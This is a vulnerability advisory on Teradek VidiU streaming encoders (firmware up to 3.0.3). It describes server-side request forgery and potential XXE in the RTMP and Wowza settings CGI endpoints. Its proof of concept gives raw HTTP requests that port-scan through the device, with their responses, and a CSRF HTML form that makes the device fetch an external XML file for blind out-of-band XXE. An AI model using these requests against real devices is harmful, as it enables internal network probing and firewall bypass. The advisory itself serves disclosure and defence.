### Summary
The Teradek VidiU gives you the freedom to broadcast live high definition video directly to the Web without a PC. Whether you're streaming out of a video switcher or wirelessly from your camera, VidiU allows you to go live when you want, where you want. VidiU offers API level integration with the Ustream, YouTube Live and Livestream platforms, which makes streaming to your channel as easy as logging into your account.
### Description
A server-side request forgery (SSRF) vulnerability exists in the VidiU management interface within the RTMP settings and the Wowza server mode functionality. The application parses user supplied data in the GET parameters 'url' and 'xml_url' to construct a page request that loads the configuration for specific service. Since no validation is carried out on the parameters, an attacker can specify an external domain and force the application to make a HTTP request to an arbitrary destination host, including xml data parsing (XXE potential). This can be used by an external attacker for example to bypass firewalls and initiate a service and network enumeration on the internal network through the affected application.
### Vendor
Teradek, LLC - https://www.teradek.com
### Affected Version
* VidiU, VidiU Mini, VidiU Pro
* 3.0.3 (build 32136)
* 3.0.2 (build 31225)
* 2.4.10
### Tested On
* lighttpd/1.4.48
* lighttpd/1.4.31
### PoC
SSRF open port:
```
GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:443&_=1526243349301 HTTP/1.1
Host: 127.0.0.1:8090
HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Date: Sun, 13 May 2018 21:42:30 GMT
Server: lighttpd/1.4.31
Content-Length: 31
{"error":"invalid parameters"}
```
SSRF closed port:
```
GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:7777&_=1526243349301 HTTP/1.1
Host: 127.0.0.1:8090
HTTP/1.1 200 OK
Content-Length: 0
Connection: close
Date: Sun, 13 May 2018 21:43:30 GMT
Server: lighttpd/1.4.31
```
SSRF closed port:
```
GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:7777&_=1526244218671 HTTP/1.1
Host: 127.0.0.1:8090
{"result":"error", "error":"Curl error"}
```
SSRF open port:
```
GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:443&_=1526244218671 HTTP/1.1
Host: 127.0.0.1:8090
{"result":"error", "error":"Bad request"}
```
PoC CSRF Blind XXE SSRF OOB:
```
<html>
<body>
<form action="http://127.0.0.1:8090/cgi-bin/system.cgi">
<input type="hidden" name="command" value="rtmp" />
<input type="hidden" name="action" value="rtmp_xml_from_url" />
<input type="hidden" name="xml_url" value="http://site.tld/xxe.xml" />
<input type="hidden" name="_" value="1526244218671" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
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